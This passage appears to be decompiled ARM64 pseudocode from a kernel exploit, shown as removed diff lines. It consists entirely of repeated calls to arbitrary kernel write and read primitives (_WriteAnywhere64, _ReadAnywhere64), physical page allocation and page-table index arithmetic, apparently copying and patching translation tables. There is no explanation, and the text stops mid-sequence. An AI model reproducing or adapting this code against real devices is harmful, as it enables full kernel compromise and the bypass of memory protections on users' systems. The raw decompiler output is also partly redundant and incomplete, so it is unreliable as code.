- r0 = _WriteAnywhere64();
- r12 = zero_extend_64(0x19);
- r8 = *(r31 + 0x1358);
- r9 = *(r31 + 0x1340);
- r10 = r9 + 0x1;
- *(r31 + 0x1340) = r10;
- r8 = r8 + r9 * 0x8;
- *(r31 + 0x518) = r0;
- *(r31 + 0x510) = r8;
- r0 = _constget();
- r8 = 0x10001e000;
- r8 = r8 + 0x1b8;
- r8 = r8;
- r0 = _WriteAnywhere64();
- r8 = zero_extend_64(0x0);
- r9 = *(r31 + 0x1358);
- r10 = *(r31 + 0x1340);
- r11 = r10 + 0x1;
- *(r31 + 0x1340) = r11;
- r9 = r9 + r10 * 0x8;
- *(r31 + 0x508) = r0;
- r0 = _WriteAnywhere64();
- r8 = zero_extend_64(0x0);
- r9 = *(r31 + 0x1358);
- r10 = *(r31 + 0x1340);
- r11 = r10 + 0x1;
- *(r31 + 0x1340) = r11;
- r9 = r9 + r10 * 0x8;
- *(r31 + 0x500) = r0;
- r0 = _WriteAnywhere64();
- r8 = zero_extend_64(0x0);
- r9 = *(r31 + 0x1358);
- r10 = *(r31 + 0x1340);
- r11 = r10 + 0x1;
- *(r31 + 0x1340) = r11;
- r9 = r9 + r10 * 0x8;
- *(r31 + 0x4f8) = r0;
- r0 = _WriteAnywhere64();
- r12 = zero_extend_64(0x37);
- r8 = *(r31 + 0x1358);
- r9 = *(r31 + 0x1340);
- r10 = r9 + 0x1;
- *(r31 + 0x1340) = r10;
- r8 = r8 + r9 * 0x8;
- *(r31 + 0x4f0) = r0;
- *(r31 + 0x4e8) = r8;
- r0 = _constget();
- r8 = 0x10001e000;
- r8 = r8 + 0x1b8;
- r8 = r8;
- r0 = _WriteAnywhere64();
- r8 = zero_extend_64(0xbe0);
- r9 = *(r31 + 0x1340);
- *(r31 + 0x12f8) = r9;
- r9 = *(r31 + 0x1358);
- r10 = *(r31 + 0x1340);
- r11 = r10 + 0x1;
- *(r31 + 0x1340) = r11;
- r9 = r9 + r10 * 0x8;
- r10 = *(r31 + 0x12f8);
- r8 = r8 - r10 * 0x8;
- *(r31 + 0x4e0) = r0;
- r0 = _WriteAnywhere64();
- r12 = zero_extend_64(0x35);
- r8 = *(r31 + 0x1358);
- r9 = *(r31 + 0x1340);
- r10 = r9 + 0x1;
- *(r31 + 0x1340) = r10;
- r8 = r8 + r9 * 0x8;
- *(r31 + 0x4d8) = r0;
- *(r31 + 0x4d0) = r8;
- r0 = _constget();
- r8 = 0x10001e000;
- r8 = r8 + 0x1b8;
- r8 = r8;
- r0 = _WriteAnywhere64();
- r8 = zero_extend_64(0x0);
- r9 = *(r31 + 0x1358);
- r10 = *(r31 + 0x1340);
- r11 = r10 + 0x1;
- *(r31 + 0x1340) = r11;
- r9 = r9 + r10 * 0x8;
- *(r31 + 0x4c8) = r0;
- r0 = _WriteAnywhere64();
- r12 = zero_extend_64(0x36);
- r8 = *(r31 + 0x1358);
- r9 = *(r31 + 0x1340);
- r10 = r9 + 0x1;
- *(r31 + 0x1340) = r10;
- r8 = r8 + r9 * 0x8;
- *(r31 + 0x4c0) = r0;
- *(r31 + 0x4b8) = r8;
- r0 = _constget();
- r8 = 0x10001e000;
- r8 = r8 + 0x1b8;
- r8 = r8;
- r0 = _WriteAnywhere64();
- r8 = zero_extend_64(0x0);
- r9 = *(r31 + 0x1358);
- r10 = *(r31 + 0x1340);
- r11 = r10 + 0x1;
- *(r31 + 0x1340) = r11;
- r9 = r9 + r10 * 0x8;
- *(r31 + 0x4b0) = r0;
- r0 = _WriteAnywhere64();
- r12 = zero_extend_64(0x26);
- r8 = *(r31 + 0x1358);
- r9 = *(r31 + 0x1340);
- r10 = r9 + 0x1;
- *(r31 + 0x1340) = r10;
- r8 = r8 + r9 * 0x8;
- *(r31 + 0x4a8) = r0;
- *(r31 + 0x4a0) = r8;
- r0 = _constget();
- r8 = 0x10001e000;
- r8 = r8 + 0x1b8;
- r8 = r8;
- r0 = _WriteAnywhere64();
- r8 = zero_extend_64(0x0);
- r9 = *(r31 + 0x1358);
- r10 = *(r31 + 0x1340);
- r11 = r10 + 0x1;
- *(r31 + 0x1340) = r11;
- r9 = r9 + r10 * 0x8;
- *(r31 + 0x498) = r0;
- r0 = _WriteAnywhere64();
- r12 = zero_extend_64(0x34);
- r8 = *(r31 + 0x1358);
- r9 = *(r31 + 0x1340);
- r10 = r9 + 0x1;
- *(r31 + 0x1340) = r10;
- r8 = r8 + r9 * 0x8;
- *(r31 + 0x490) = r0;
- *(r31 + 0x488) = r8;
- r0 = _constget();
- r8 = 0x10001e000;
- r8 = r8 + 0x1b8;
- r8 = r8;
- r0 = _WriteAnywhere64();
- asm { movn x8, #0xf };
- asm { movk x8, #0x638 };
- asm { movk x8, #0x6468 };
- r9 = 0x10001e000;
- r9 = r9 + 0x1b8;
- r10 = *(r31 + 0x1358);
- r11 = *(r31 + 0x1340);
- r1 = r11 + 0x1;
- *(r31 + 0x1340) = r1;
- r10 = r10 + r11 * 0x8;
- r9 = r9;
- r8 = r9 + r8;
- *(r31 + 0x480) = r0;
- r0 = _WriteAnywhere64();
- r12 = r31 | 0x38;
- r8 = *(r31 + 0x1358);
- r9 = *(r31 + 0x1340);
- r10 = r9 + 0x1;
- *(r31 + 0x1340) = r10;
- r8 = r8 + r9 * 0x8;
- *(r31 + 0x478) = r0;
- *(r31 + 0x470) = r8;
- r0 = _constget();
- r8 = 0x10001e000;
- r8 = r8 + 0x1b8;
- r8 = r8;
- r0 = _WriteAnywhere64();
- r8 = zero_extend_64(0x0);
- r9 = *(r31 + 0x1358);
- r10 = *(r31 + 0x1340);
- r11 = r10 + 0x1;
- *(r31 + 0x1340) = r11;
- r9 = r9 + r10 * 0x8;
- *(r31 + 0x468) = r0;
- r0 = _WriteAnywhere64();
- asm { movn x8, #0xf };
- asm { movk x8, #0x70c };
- asm { movk x8, #0x42e0 };
- r9 = 0x10001e000;
- r9 = r9 + 0x1b8;
- r10 = *(r31 + 0x1358);
- r11 = *(r31 + 0x1340);
- r1 = r11 + 0x1;
- *(r31 + 0x1340) = r1;
- r10 = r10 + r11 * 0x8;
- r9 = r9;
- *(r31 + 0x460) = r0;
- r0 = _WriteAnywhere64();
- r8 = zero_extend_64(0x0);
- r9 = *(r31 + 0x1358);
- r10 = *(r31 + 0x1340);
- r11 = r10 + 0x1;
- *(r31 + 0x1340) = r11;
- r9 = r9 + r10 * 0x8;
- *(r31 + 0x458) = r0;
- r0 = _WriteAnywhere64();
- asm { movn x8, #0xf };
- asm { movk x8, #0x74a };
- asm { movk x8, #0xd890 };
- r9 = 0x10001e000;
- r9 = r9 + 0x1b8;
- r10 = *(r31 + 0x1358);
- r11 = *(r31 + 0x1340);
- r1 = r11 + 0x1;
- *(r31 + 0x1340) = r1;
- r10 = r10 + r11 * 0x8;
- r9 = r9;
- *(r31 + 0x450) = r0;
- r0 = _WriteAnywhere64();
- r8 = zero_extend_64(0x0);
- r9 = *(r31 + 0x1358);
- r10 = *(r31 + 0x1340);
- r11 = r10 + 0x1;
- *(r31 + 0x1340) = r11;
- r9 = r9 + r10 * 0x8;
- *(r31 + 0x448) = r0;
- r0 = _WriteAnywhere64();
- r12 = zero_extend_64(0x1a);
- r8 = *(r31 + 0x1358);
- r9 = *(r31 + 0x1340);
- r10 = r9 + 0x1;
- *(r31 + 0x1340) = r10;
- r8 = r8 + r9 * 0x8;
- *(r31 + 0x440) = r0;
- *(r31 + 0x438) = r8;
- r0 = _constget();
- r8 = 0x10001e000;
- r8 = r8 + 0x1b8;
- r8 = r8;
- r0 = _WriteAnywhere64();
- r8 = zero_extend_64(0x0);
- r9 = *(r31 + 0x1358);
- r10 = *(r31 + 0x1340);
- r11 = r10 + 0x1;
- *(r31 + 0x1340) = r11;
- r9 = r9 + r10 * 0x8;
- *(r31 + 0x430) = r0;
- r0 = _WriteAnywhere64();
- r12 = zero_extend_64(0x1a);
- r8 = *(r31 + 0x1358);
- r9 = *(r31 + 0x1340);
- r10 = r9 + 0x1;
- *(r31 + 0x1340) = r10;
- r8 = r8 + r9 * 0x8;
- *(r31 + 0x428) = r0;
- *(r31 + 0x420) = r8;
- r0 = _constget();
- r8 = 0x10001e000;
- r8 = r8 + 0x1b8;
- r8 = r8;
- r0 = _WriteAnywhere64();
- r8 = zero_extend_64(0x0);
- r9 = *(r31 + 0x1358);
- r10 = *(r31 + 0x1340);
- r11 = r10 + 0x1;
- *(r31 + 0x1340) = r11;
- r9 = r9 + r10 * 0x8;
- *(r31 + 0x418) = r0;
- r0 = _WriteAnywhere64();
- r12 = zero_extend_64(0x1a);
- r8 = *(r31 + 0x1358);
- r9 = *(r31 + 0x1340);
- r10 = r9 + 0x1;
- *(r31 + 0x1340) = r10;
- r8 = r8 + r9 * 0x8;
- *(r31 + 0x410) = r0;
- *(r31 + 0x408) = r8;
- r0 = _constget();
- r8 = 0x10001e000;
- r8 = r8 + 0x1b8;
- r8 = r8;
- r0 = _WriteAnywhere64();
- r8 = zero_extend_64(0x0);
- r9 = *(r31 + 0x1358);
- r10 = *(r31 + 0x1340);
- r11 = r10 + 0x1;
- *(r31 + 0x1340) = r11;
- r9 = r9 + r10 * 0x8;
- *(r31 + 0x400) = r0;
- r0 = _WriteAnywhere64();
- r12 = zero_extend_64(0x1a);
- r8 = *(r31 + 0x1358);
- r9 = *(r31 + 0x1340);
- r10 = r9 + 0x1;
- *(r31 + 0x1340) = r10;
- r8 = r8 + r9 * 0x8;
- *(r31 + 0x3f8) = r0;
- *(r31 + 0x3f0) = r8;
- r0 = _constget();
- r8 = 0x10001e000;
- r8 = r8 + 0x1b8;
- r8 = r8;
- r0 = _WriteAnywhere64();
- r8 = zero_extend_64(0x0);
- r9 = *(r31 + 0x1358);
- r10 = *(r31 + 0x1340);
- r11 = r10 + 0x1;
- *(r31 + 0x1340) = r11;
- r9 = r9 + r10 * 0x8;
- *(r31 + 0x3e8) = r0;
- r0 = _WriteAnywhere64();
- r12 = zero_extend_64(0x1a);
- r8 = *(r31 + 0x1358);
- r9 = *(r31 + 0x1340);
- r10 = r9 + 0x1;
- *(r31 + 0x1340) = r10;
- r8 = r8 + r9 * 0x8;
- *(r31 + 0x3e0) = r0;
- *(r31 + 0x3d8) = r8;
- r0 = _constget();
- r8 = 0x10001e000;
- r8 = r8 + 0x1b8;
- r8 = r8;
- r0 = _WriteAnywhere64();
- r8 = zero_extend_64(0x0);
- r9 = *(r31 + 0x1358);
- r10 = *(r31 + 0x1340);
- r11 = r10 + 0x1;
- *(r31 + 0x1340) = r11;
- r9 = r9 + r10 * 0x8;
- *(r31 + 0x3d0) = r0;
- r0 = _WriteAnywhere64();
- r12 = zero_extend_64(0x1a);
- r8 = *(r31 + 0x1358);
- r9 = *(r31 + 0x1340);
- r10 = r9 + 0x1;
- *(r31 + 0x1340) = r10;
- r8 = r8 + r9 * 0x8;
- *(r31 + 0x3c8) = r0;
- *(r31 + 0x3c0) = r8;
- r0 = _constget();
- r8 = 0x10001e000;
- r8 = r8 + 0x1b8;
- r8 = r8;
- r0 = _WriteAnywhere64();
- r8 = zero_extend_64(0x0);
- r9 = *(r31 + 0x1358);
- r10 = *(r31 + 0x1340);
- r11 = r10 + 0x1;
- *(r31 + 0x1340) = r11;
- r9 = r9 + r10 * 0x8;
- *(r31 + 0x3b8) = r0;
- r0 = _WriteAnywhere64();
- r12 = zero_extend_64(0x1a);
- r8 = *(r31 + 0x1358);
- r9 = *(r31 + 0x1340);
- r10 = r9 + 0x1;
- *(r31 + 0x1340) = r10;
- r8 = r8 + r9 * 0x8;
- *(r31 + 0x3b0) = r0;
- *(r31 + 0x3a8) = r8;
- r0 = _constget();
- r8 = 0x10001e000;
- r8 = r8 + 0x1b8;
- r8 = r8;
- r0 = _WriteAnywhere64();
- r8 = zero_extend_64(0x0);
- r9 = *(r31 + 0x1358);
- r10 = *(r31 + 0x1340);
- r11 = r10 + 0x1;
- *(r31 + 0x1340) = r11;
- r9 = r9 + r10 * 0x8;
- *(r31 + 0x3a0) = r0;
- r0 = _WriteAnywhere64();
- r12 = zero_extend_64(0x1a);
- r8 = *(r31 + 0x1358);
- r9 = *(r31 + 0x1340);
- r10 = r9 + 0x1;
- *(r31 + 0x1340) = r10;
- r8 = r8 + r9 * 0x8;
- *(r31 + 0x398) = r0;
- *(r31 + 0x390) = r8;
- r0 = _constget();
- r8 = 0x10001e000;
- r8 = r8 + 0x1b8;
- r8 = r8;
- r0 = _WriteAnywhere64();
- r8 = zero_extend_64(0x0);
- r9 = *(r31 + 0x1358);
- r10 = *(r31 + 0x1340);
- r11 = r10 + 0x1;
- *(r31 + 0x1340) = r11;
- r9 = r9 + r10 * 0x8;
- *(r31 + 0x388) = r0;
- r0 = _WriteAnywhere64();
- r12 = zero_extend_64(0x1a);
- r8 = *(r31 + 0x1358);
- r9 = *(r31 + 0x1340);
- r10 = r9 + 0x1;
- *(r31 + 0x1340) = r10;
- r8 = r8 + r9 * 0x8;
- *(r31 + 0x380) = r0;
- *(r31 + 0x378) = r8;
- r0 = _constget();
- r8 = 0x10001e000;
- r8 = r8 + 0x1b8;
- r8 = r8;
- r0 = _WriteAnywhere64();
- r8 = zero_extend_64(0x0);
- r9 = *(r31 + 0x1358);
- r10 = *(r31 + 0x1340);
- r11 = r10 + 0x1;
- *(r31 + 0x1340) = r11;
- r9 = r9 + r10 * 0x8;
- *(r31 + 0x370) = r0;
- r0 = _WriteAnywhere64();
- r12 = zero_extend_64(0x1a);
- r8 = *(r31 + 0x1358);
- r9 = *(r31 + 0x1340);
- r10 = r9 + 0x1;
- *(r31 + 0x1340) = r10;
- r8 = r8 + r9 * 0x8;
- *(r31 + 0x368) = r0;
- *(r31 + 0x360) = r8;
- r0 = _constget();
- r8 = 0x10001e000;
- r8 = r8 + 0x1b8;
- r8 = r8;
- r0 = _WriteAnywhere64();
- r8 = zero_extend_64(0x0);
- r9 = *(r31 + 0x1358);
- r10 = *(r31 + 0x1340);
- r11 = r10 + 0x1;
- *(r31 + 0x1340) = r11;
- r9 = r9 + r10 * 0x8;
- *(r31 + 0x358) = r0;
- r0 = _WriteAnywhere64();
- r12 = zero_extend_64(0x1a);
- r8 = *(r31 + 0x1358);
- r9 = *(r31 + 0x1340);
- r10 = r9 + 0x1;
- *(r31 + 0x1340) = r10;
- r8 = r8 + r9 * 0x8;
- *(r31 + 0x350) = r0;
- *(r31 + 0x348) = r8;
- r0 = _constget();
- r8 = 0x10001e000;
- r8 = r8 + 0x1b8;
- r8 = r8;
- r0 = _WriteAnywhere64();
- r8 = zero_extend_64(0x0);
- r9 = *(r31 + 0x1358);
- r10 = *(r31 + 0x1340);
- r11 = r10 + 0x1;
- *(r31 + 0x1340) = r11;
- r9 = r9 + r10 * 0x8;
- *(r31 + 0x340) = r0;
- r0 = _WriteAnywhere64();
- r12 = zero_extend_64(0x1a);
- r8 = *(r31 + 0x1358);
- r9 = *(r31 + 0x1340);
- r10 = r9 + 0x1;
- *(r31 + 0x1340) = r10;
- r8 = r8 + r9 * 0x8;
- *(r31 + 0x338) = r0;
- *(r31 + 0x330) = r8;
- r0 = _constget();
- r8 = 0x10001e000;
- r8 = r8 + 0x1b8;
- r8 = r8;
- r0 = _WriteAnywhere64();
- r8 = zero_extend_64(0x0);
- r9 = *(r31 + 0x1358);
- r10 = *(r31 + 0x1340);
- r11 = r10 + 0x1;
- *(r31 + 0x1340) = r11;
- r9 = r9 + r10 * 0x8;
- *(r31 + 0x328) = r0;
- r0 = _WriteAnywhere64();
- r12 = zero_extend_64(0x19);
- r8 = *(r31 + 0x1358);
- r9 = *(r31 + 0x1340);
- r10 = r9 + 0x1;
- *(r31 + 0x1340) = r10;
- r8 = r8 + r9 * 0x8;
- *(r31 + 0x320) = r0;
- *(r31 + 0x318) = r8;
- r0 = _constget();
- r8 = 0x10001e000;
- r8 = r8 + 0x1b8;
- r8 = r8;
- r0 = _WriteAnywhere64();
- r8 = zero_extend_64(0x0);
- r9 = *(r31 + 0x1358);
- r10 = *(r31 + 0x1340);
- r11 = r10 + 0x1;
- *(r31 + 0x1340) = r11;
- r9 = r9 + r10 * 0x8;
- *(r31 + 0x310) = r0;
- r0 = _WriteAnywhere64();
- r8 = *(r31 + 0x1358);
- r9 = *(r31 + 0x1340);
- r10 = r9 + 0x1;
- *(r31 + 0x1340) = r10;
- r8 = r8 + r9 * 0x8;
- *(r31 + 0x308) = r0;
- r0 = _WriteAnywhere64();
- r8 = zero_extend_64(0x0);
- r9 = *(r31 + 0x1358);
- r10 = *(r31 + 0x1340);
- r11 = r10 + 0x1;
- *(r31 + 0x1340) = r11;
- r9 = r9 + r10 * 0x8;
- *(r31 + 0x300) = r0;
- r0 = _WriteAnywhere64();
- r12 = zero_extend_64(0x19);
- r8 = *(r31 + 0x1358);
- r9 = *(r31 + 0x1340);
- r10 = r9 + 0x1;
- *(r31 + 0x1340) = r10;
- r8 = r8 + r9 * 0x8;
- *(r31 + 0x2f8) = r0;
- *(r31 + 0x2f0) = r8;
- r0 = _constget();
- r8 = 0x10001e000;
- r8 = r8 + 0x1b8;
- r8 = r8;
- r0 = _WriteAnywhere64();
- r8 = zero_extend_64(0x0);
- r9 = *(r31 + 0x1358);
- r10 = *(r31 + 0x1340);
- r11 = r10 + 0x1;
- *(r31 + 0x1340) = r11;
- r9 = r9 + r10 * 0x8;
- *(r31 + 0x2e8) = r0;
- r0 = _WriteAnywhere64();
- r8 = *(r31 + 0x1358);
- r9 = *(r31 + 0x1340);
- r10 = r9 + 0x1;
- *(r31 + 0x1340) = r10;
- r8 = r8 + r9 * 0x8;
- *(r31 + 0x2e0) = r0;
- r0 = _WriteAnywhere64();
- r8 = zero_extend_64(0x0);
- r9 = *(r31 + 0x1358);
- r10 = *(r31 + 0x1340);
- r11 = r10 + 0x1;
- *(r31 + 0x1340) = r11;
- r9 = r9 + r10 * 0x8;
- *(r31 + 0x2d8) = r0;
- r0 = _WriteAnywhere64();
- r12 = zero_extend_64(0x14);
- r8 = *(r31 + 0x1358);
- r9 = *(r31 + 0x1340);
- r10 = r9 + 0x1;
- *(r31 + 0x1340) = r10;
- r8 = r8 + r9 * 0x8;
- *(r31 + 0x2d0) = r0;
- *(r31 + 0x2c8) = r8;
- r0 = _constget();
- r8 = 0x10001e000;
- r8 = r8 + 0x1b8;
- r9 = r0 + 0x8;
- r8 = r8;
- r0 = _WriteAnywhere64();
- r8 = zero_extend_64(0x0);
- r9 = *(r31 + 0x1358);
- r10 = *(r31 + 0x1340);
- r11 = r10 + 0x1;
- *(r31 + 0x1340) = r11;
- r9 = r9 + r10 * 0x8;
- *(r31 + 0x2c0) = r0;
- r0 = _WriteAnywhere64();
- r12 = zero_extend_64(0x37);
- r8 = *(r31 + 0x1358);
- r9 = *(r31 + 0x1340);
- r10 = r9 + 0x1;
- *(r31 + 0x1340) = r10;
- r8 = r8 + r9 * 0x8;
- *(r31 + 0x2b8) = r0;
- *(r31 + 0x2b0) = r8;
- r0 = _constget();
- r8 = 0x10001e000;
- r8 = r8 + 0x1b8;
- r8 = r8;
- r0 = _WriteAnywhere64();
- r8 = zero_extend_64(0xbc8);
- r9 = *(r31 + 0x1340);
- *(r31 + 0x12f8) = r9;
- r9 = *(r31 + 0x1358);
- r10 = *(r31 + 0x1340);
- r11 = r10 + 0x1;
- *(r31 + 0x1340) = r11;
- r9 = r9 + r10 * 0x8;
- r10 = *(r31 + 0x12f8);
- r8 = r8 - r10 * 0x8;
- *(r31 + 0x2a8) = r0;
- r0 = _WriteAnywhere64();
- r12 = zero_extend_64(0x35);
- r8 = *(r31 + 0x1358);
- r9 = *(r31 + 0x1340);
- r10 = r9 + 0x1;
- *(r31 + 0x1340) = r10;
- r8 = r8 + r9 * 0x8;
- *(r31 + 0x2a0) = r0;
- *(r31 + 0x298) = r8;
- r0 = _constget();
- r8 = 0x10001e000;
- r8 = r8 + 0x1b8;
- r8 = r8;
- r0 = _WriteAnywhere64();
- r8 = zero_extend_64(0x0);
- r9 = *(r31 + 0x1358);
- r10 = *(r31 + 0x1340);
- r11 = r10 + 0x1;
- *(r31 + 0x1340) = r11;
- r9 = r9 + r10 * 0x8;
- *(r31 + 0x290) = r0;
- r0 = _WriteAnywhere64();
- r12 = zero_extend_64(0x36);
- r8 = *(r31 + 0x1358);
- r9 = *(r31 + 0x1340);
- r10 = r9 + 0x1;
- *(r31 + 0x1340) = r10;
- r8 = r8 + r9 * 0x8;
- *(r31 + 0x288) = r0;
- *(r31 + 0x280) = r8;
- r0 = _constget();
- r8 = 0x10001e000;
- r8 = r8 + 0x1b8;
- r8 = r8;
- r0 = _WriteAnywhere64();
- r8 = zero_extend_64(0x0);
- r9 = *(r31 + 0x1358);
- r10 = *(r31 + 0x1340);
- r11 = r10 + 0x1;
- *(r31 + 0x1340) = r11;
- r9 = r9 + r10 * 0x8;
- *(r31 + 0x278) = r0;
- r0 = _WriteAnywhere64();
- r12 = zero_extend_64(0x26);
- r8 = *(r31 + 0x1358);
- r9 = *(r31 + 0x1340);
- r10 = r9 + 0x1;
- *(r31 + 0x1340) = r10;
- r8 = r8 + r9 * 0x8;
- *(r31 + 0x270) = r0;
- *(r31 + 0x268) = r8;
- r0 = _constget();
- r8 = 0x10001e000;
- r8 = r8 + 0x1b8;
- r8 = r8;
- r0 = _WriteAnywhere64();
- asm { movk x1, #0x40f7 };
- r8 = *(r31 + 0x1358);
- r9 = *(r31 + 0x1340);
- r10 = r9 + 0x1;
- *(r31 + 0x1340) = r10;
- r8 = r8 + r9 * 0x8;
- *(r31 + 0x260) = r0;
- r0 = _WriteAnywhere64();
- r12 = zero_extend_64(0x35);
- r8 = *(r31 + 0x1358);
- r9 = *(r31 + 0x1340);
- r10 = r9 + 0x1;
- *(r31 + 0x1340) = r10;
- r8 = r8 + r9 * 0x8;
- *(r31 + 0x258) = r0;
- *(r31 + 0x250) = r8;
- r0 = _constget();
- r8 = 0x10001e000;
- r8 = r8 + 0x1b8;
- r8 = r8;
- r0 = _WriteAnywhere64();
- r12 = zero_extend_64(0x33);
- r8 = *(r31 + 0x1358);
- r9 = *(r31 + 0x1340);
- r10 = r9 + 0x1;
- *(r31 + 0x1340) = r10;
- r8 = r8 + r9 * 0x8;
- *(r31 + 0x248) = r0;
- *(r31 + 0x240) = r8;
- r0 = _constget();
- r8 = 0x10001e000;
- r8 = r8 + 0x1b8;
- r8 = r8;
- r8 = r0 + r8;
- r0 = _WriteAnywhere64();
- r12 = zero_extend_64(0x21);
- r8 = *(r31 + 0x1358);
- r9 = *(r31 + 0x1340);
- r10 = r9 + 0x1;
- *(r31 + 0x1340) = r10;
- r8 = r8 + r9 * 0x8;
- *(r31 + 0x238) = r0;
- *(r31 + 0x230) = r8;
- r0 = _constget();
- r8 = 0x10001e000;
- r8 = r8 + 0x1b8;
- r8 = r8;
- r0 = _WriteAnywhere64();
- r8 = zero_extend_64(0x0);
- r9 = *(r31 + 0x1358);
- r10 = *(r31 + 0x1340);
- r11 = r10 + 0x1;
- *(r31 + 0x1340) = r11;
- r9 = r9 + r10 * 0x8;
- *(r31 + 0x228) = r0;
- r0 = _WriteAnywhere64();
- r12 = r31 | 0x1c;
- r8 = *(r31 + 0x1358);
- r9 = *(r31 + 0x1340);
- r10 = r9 + 0x1;
- *(r31 + 0x1340) = r10;
- r8 = r8 + r9 * 0x8;
- *(r31 + 0x220) = r0;
- *(r31 + 0x218) = r8;
- r0 = _constget();
- r8 = 0x10001e000;
- r8 = r8 + 0x1b8;
- r8 = r8;
- r0 = _WriteAnywhere64();
- r8 = *(r31 + 0x1358);
- r9 = *(r31 + 0x1340);
- r10 = r9 + 0x1;
- *(r31 + 0x1340) = r10;
- r8 = r8 + r9 * 0x8;
- *(r31 + 0x210) = r0;
- r0 = _WriteAnywhere64();
- r12 = zero_extend_64(0x1d);
- r8 = *(r31 + 0x1358);
- r9 = *(r31 + 0x1340);
- r10 = r9 + 0x1;
- *(r31 + 0x1340) = r10;
- r8 = r8 + r9 * 0x8;
- *(r31 + 0x208) = r0;
- *(r31 + 0x200) = r8;
- r0 = _constget();
- r8 = 0x10001e000;
- r8 = r8 + 0x1b8;
- r8 = r8;
- r0 = _WriteAnywhere64();
- asm { movn x8, #0xf };
- asm { movk x8, #0x74a };
- asm { movk x8, #0xd890 };
- r9 = 0x10001e000;
- r9 = r9 + 0x1b8;
- r10 = *(r31 + 0x1358);
- r10 = r10 + 0xba0;
- r10 = r10 - 0x8;
- r9 = r9;
- *(r31 + 0x1f8) = r0;
- r0 = _WriteAnywhere64();
- asm { movk x1, #0x4242 };
- r8 = *(r31 + 0x1358);
- r8 = r8 + 0xba0;
- r8 = r8 - 0x10;
- *(r31 + 0x1f0) = r0;
- r0 = _WriteAnywhere64();
- r8 = 0x10001e000;
- asm { movn x9, #0xf };
- asm { movk x9, #0x6e3 };
- asm { movk x9, #0x6ac8 };
- r10 = 0x10001e000;
- r10 = r10 + 0x1b8;
- r10 = r10;
- r9 = r10 + r9;
- *(r31 + 0x1518) = r9;
- r9 = *(r31 + 0x1518);
- r9 = r9 & 0xffffffffffffc000;
- r8 = r9;
- r9 = *(r31 + 0x17b0);
- r8 = r8;
- r8 = r8 >> 0x19;
- r8 = r8 & 0x7ff;
- r12 = r8;
- r12 = r12 << 0x3;
- r8 = r12;
- asm { sxtw x8, w8 };
- r8 = r9 + r8;
- *(r31 + 0x1e8) = r0;
- r0 = _ReadAnywhere64();
- r8 = r31 | 0x4000;
- *(r31 + 0x12f0) = r0;
- r0 = _physalloc();
- *(r31 + 0x12e8) = r0;
- for (*(r31 + 0x12e4) = r31; *(r31 + 0x12e4) < 0x800; *(r31 + 0x12e4) = *(r31 + 0x12e4) + 0x1) {
- r8 = 0x10001e1d8;
- r9 = 0x10001e1d0;
- r10 = *(r31 + 0x12e8);
- r12 = *(r31 + 0x12e4) << 0x3;
- asm { sxtw x12, w12 };
- r0 = r10 + r12;
- r8 = ((*(r31 + 0x12f0) & 0xfffffffffffff000) - r9) + r8;
- r9 = *(r31 + 0x12e4) << 0x3;
- asm { sxtw x9, w9 };
- *(r31 + 0x1e0) = r0;
- *(r31 + 0x1d8) = _ReadAnywhere64();
- *(r31 + 0x1d0) = _WriteAnywhere64();
- }
- r8 = *(r31 + 0x12f0) & 0xfff;
- *(r31 + 0x1c8) = r8;
- *(r31 + 0x12f0) = *(r31 + 0x1c8) | _findphys_real() & 0xfffffffffffff000;
- r0 = *(r31 + 0x17b0);
- r8 = (0x10001e1e8 >> 0x19 & 0x7ff) << 0x3;
- asm { sxtw x8, w8 };
- *(r31 + 0x1c0) = _WriteAnywhere64();
- *(r31 + 0x1520) = _physalloc();
- r0 = *(r31 + 0x12e8);
- r8 = (0x10001e1e8 >> 0xe & 0x7ff) << 0x3;
- asm { sxtw x8, w8 };
- *(r31 + 0x12d8) = _ReadAnywhere64();
- for (*(r31 + 0x12d4) = r31; *(r31 + 0x12d4) < 0x800; *(r31 + 0x12d4) = *(r31 + 0x12d4) + 0x1) {
- r8 = 0x10001e1d8;
- r9 = 0x10001e1d0;
- r10 = *(r31 + 0x1520);
- r12 = *(r31 + 0x12d4) << 0x3;
- asm { sxtw x12, w12 };
- r0 = r10 + r12;
- r8 = ((*(r31 + 0x12d8) & 0xfffffffffffff000) - r9) + r8;
- r9 = *(r31 + 0x12d4) << 0x3;
- asm { sxtw x9, w9 };
- *(r31 + 0x1b8) = r0;
- *(r31 + 0x1b0) = _ReadAnywhere64();
- *(r31 + 0x1a8) = _WriteAnywhere64();
- }
- r8 = *(r31 + 0x12d8) & 0xfff;
- *(r31 + 0x1a0) = r8;
- *(r31 + 0x12d8) = *(r31 + 0x1a0) | _findphys_real() & 0xfffffffffffff000;
- r0 = *(r31 + 0x12e8);
- r8 = (0x10001e1e8 >> 0xe & 0x7ff) << 0x3;
- asm { sxtw x8, w8 };
- r0 = _WriteAnywhere64();
- r8 = *(r31 + 0x1520) + (*(r31 + 0x1518) & 0x3fff);
- r1 = *(r31 + 0x1388) + *(r31 + 0x1398);
- *(r31 + 0x198) = r0;
- r0 = _WriteAnywhere64();
- asm { movn x1, #0xf };
- asm { movk x1, #0x6e3 };
- asm { movk x1, #0x68f8 };
- *(r31 + 0x1518) = 0x10001e1b8 + r1;
- r8 = *(r31 + 0x1518) & 0xffffffffffffc000;
- r1 = *(r31 + 0x17b0);
- r8 = (r8 >> 0x19 & 0x7ff) << 0x3;
- asm { sxtw x8, w8 };
- *(r31 + 0x190) = r0;
- *(r31 + 0x12c8) = _ReadAnywhere64();
- *(r31 + 0x12c0) = _physalloc();
- for (*(r31 + 0x12bc) = r31; *(r31 + 0x12bc) < 0x800; *(r31 + 0x12bc) = *(r31 + 0x12bc) + 0x1) {
- r8 = 0x10001e1d8;
- r9 = 0x10001e1d0;
- r10 = *(r31 + 0x12c0);
- r12 = *(r31 + 0x12bc) << 0x3;
- asm { sxtw x12, w12 };
- r0 = r10 + r12;
- r8 = ((*(r31 + 0x12c8) & 0xfffffffffffff000) - r9) + r8;
- r9 = *(r31 + 0x12bc) << 0x3;
- asm { sxtw x9, w9 };
- *(r31 + 0x188) = r0;
- *(r31 + 0x180) = _ReadAnywhere64();
- *(r31 + 0x178) = _WriteAnywhere64();
- }
- r8 = *(r31 + 0x12c8) & 0xfff;
- *(r31 + 0x170) = r8;
- *(r31 + 0x12c8) = *(r31 + 0x170) | _findphys_real() & 0xfffffffffffff000;
- r0 = *(r31 + 0x17b0);
- r8 = (0x10001e1e8 >> 0x19 & 0x7ff) << 0x3;
- asm { sxtw x8, w8 };
- *(r31 + 0x168) = _WriteAnywhere64();
- *(r31 + 0x1520) = _physalloc();
- r0 = *(r31 + 0x12c0);
- r8 = (0x10001e1e8 >> 0xe & 0x7ff) << 0x3;
